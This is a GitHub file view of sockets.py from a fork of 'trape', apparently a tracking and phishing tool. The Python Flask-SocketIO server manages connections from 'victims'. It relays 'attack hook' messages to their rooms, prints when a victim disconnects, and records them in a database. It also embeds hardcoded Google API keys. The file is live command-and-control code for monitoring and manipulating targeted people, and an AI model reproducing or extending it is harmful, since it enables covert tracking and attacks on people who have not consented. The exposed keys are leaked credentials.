forked from jofpin/trape
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsockets.py
More file actions
executable file
·95 lines (81 loc) · 3.23 KB
/
sockets.py
File metadata and controls
executable file
·95 lines (81 loc) · 3.23 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#**
#
#########
# trape #
#########
#
# trape depends of this file
# For full copyright information this visit: https://github.com/jofpin/trape
#
# Copyright 2018 by Jose Pino (@jofpin) / <[email protected]>
#**
from socket import gethostname, gethostbyname
from threading import Lock
from flask import Flask, render_template, session, request, json
from flask_socketio import SocketIO, emit, join_room, rooms, disconnect
import core.stats
import core.user
from user_objects import attacks_hook_message
from core.utils import utils
from core.db import Database
import sys
# Main parts, to generate relationships among others
trape = core.stats.trape
app = core.stats.app
# call database
db = Database()
async_mode = None
socketio = SocketIO(app, async_mode=async_mode)
thread = None
thread_lock = Lock()
db.sentences_victim('clean_online', None, 2)
def background_thread():
count = 0
@socketio.on("join", namespace="/trape")
def join(message):
try:
join_room(message['room'])
session['receive_count'] = session.get('receive_count', 0) + 1
except Exception as error:
pass
@socketio.on("my_room_event", namespace="/trape")
def send_room_message(message):
try:
session['receive_count'] = session.get('receive_count', 0) + 1
hookAction = attacks_hook_message(message['data']['type'])
utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "@" + utils.Color['white'] + "]" + " " + hookAction + utils.Color['blue'] + message['data']['message'] + utils.Color['white'] + ' in ' + utils.Color['green'] + message['room'] + utils.Color['white'])
emit('my_response', {'data': message['data'], 'count': session['receive_count']},room = message['room'])
except Exception as error:
pass
@socketio.on("disconnect_request", namespace="/trape")
def disconnect_request(d):
try:
session['receive_count'] = session.get('receive_count', 0) + 1
emit('my_response', {'data': 'Disconnected!', 'count': session['receive_count']})
utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "-" + utils.Color['white'] + "]" + utils.Color['red'] + " " + "A victim has closed her connection with the following id:" + " " + utils.Color['green'] + d['vId'] + utils.Color['white'])
db.sentences_victim('disconnect_victim', d['vId'], 2)
except Exception as error:
pass
@socketio.on("error", namespace="/trape")
def socket_def_error(d):
pass
@socketio.on_error("/trape")
def error_handler(e):
pass
@app.route("/" + trape.home_path)
def home():
gMaps_free_api_key = 'AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM'
if (trape.gmaps != ''):
gMaps_free_api_key = trape.gmaps
shorten_api = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs'
html = trape.injectCSS_Paths(render_template("home.html", async_mode=socketio.async_mode).replace('[OWN_API_KEY_HERE]', gMaps_free_api_key).replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[TRAPE_SRC]', trape.JSFiles[4]['src']))
return html
if __name__ == 'core.sockets':
try:
socketio.run(app, host= '0.0.0.0', port=trape.app_port, debug=False)
except KeyboardInterrupt:
socketio.stop()
trape.validateLicense.terminate()
sys.exit(0)